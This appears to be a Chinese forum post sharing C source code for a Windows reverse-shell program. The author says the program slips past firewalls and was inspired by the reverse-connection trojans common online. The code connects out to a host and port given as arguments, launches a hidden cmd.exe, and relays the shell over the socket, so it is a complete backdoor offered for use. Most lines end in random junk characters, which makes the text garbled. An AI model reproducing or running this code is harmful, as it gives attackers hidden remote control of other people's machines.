这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3usA
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/* ============================== [<1+Q =;
Rebound port in Windows NT [q{Txe
By wind,2006/7 3 BhA.o
===============================*/ L-:L=
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#include tJF~Xv2L!
#include GBOmVQ $Hb
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#pragma comment(lib,"wsock32.lib") W[Ew6)1T
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void OutputShell(); sTstc+w
SOCKET sClient; 6rC P]YnF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7Mg7B
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void main(int argc,char **argv) GyM%vGl
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{ v.&*z48
WSADATA stWsaData; *RE-K36m|u
int nRet; zZ0V6T}
SOCKADDR_IN stSaiClient,stSaiServer; nKJ7K8)
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if(argc != 3) ITY!=>S-
{ Hh=::Bi
printf("Useage:\n\rRebound DestIP DestPort\n"); ~W2&z]xD
return; ?D 9#dGK
} ph (k2cb
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WSAStartup(MAKEWORD(2,2),&stWsaData); dC|#l?P
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $P9$ ,w4
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stSaiClient.sin_family = AF_INET; gbv[*R{<%
stSaiClient.sin_port = htons(0); HD^~4\%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gJ~*rWBK:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s31_3?Vdf,
{ 4zDAfi#0
printf("Bind Socket Failed!\n"); ;m:GUp^[
return; 8VGXw;(Y,d
} (mr`?LI}
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stSaiServer.sin_family = AF_INET; l0 :xQV`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y:zT1I@>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L"<Eov6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h#;K9#x6
{ i4Cb&h^
printf("Connect Error!"); K T72D
return; 5kZ yiC*
} 6Tmb@<I_
OutputShell(); ^`5Yxpz
} Z`KXXlJ^i
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void OutputShell() d"a7{~l
{ 7%}}m&A7h
char szBuff[1024]; Y[]t_o)
SECURITY_ATTRIBUTES stSecurityAttributes; {NqGWkGt*b
OSVERSIONINFO stOsversionInfo; w:@M|O4`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; A'R sy6
char *szShell; +-137!x\q
PROCESS_INFORMATION stProcessInformation; #$)rwm.jW?
unsigned long lBytesRead; H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F=c_PQO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f^)nZ:~
stSecurityAttributes.lpSecurityDescriptor = 0; Q'M Ez
stSecurityAttributes.bInheritHandle = TRUE; 3!UP>,!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j2n@8sCSO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0t0:soZx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ts$UC $
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G\AQql(f4
stStartupInfo.wShowWindow = SW_HIDE; a-5$GvG
stStartupInfo.hStdInput = hReadPipe; Db:WAjU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dPX>A4wp
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GetVersionEx(&stOsversionInfo); GQNiBsV
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switch(stOsversionInfo.dwPlatformId) [=!MS?-G
{ Ik)Q0_<a
case 1: "&|2IA
szShell = "command.com"; ] 6B!eB
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break; l0_O<
default: ]gk1h=Y~h
szShell = "cmd.exe"; =Bx~'RYl1d
break; !g:UM R
} 7!)%%K.z6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "VCr^'
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send(sClient,szMsg,77,0); 0~+k
while(1) ((q(Q9(F
{ je%12DM
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =?aB@&
if(lBytesRead) __npX_4%S
{ #O
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); aoX$,~oI5
send(sClient,szBuff,lBytesRead,0); 4!|ar?Zy
} @SXgaWr
else gH.^NO5\'
{ rP_)*)
lBytesRead=recv(sClient,szBuff,1024,0); 2G;d2LR:
if(lBytesRead<=0) break; |&Wo-;Ud
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y9<Fv|Ric
} rJwJ5U
} [X]o`
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return; UkKpSL}Q2
}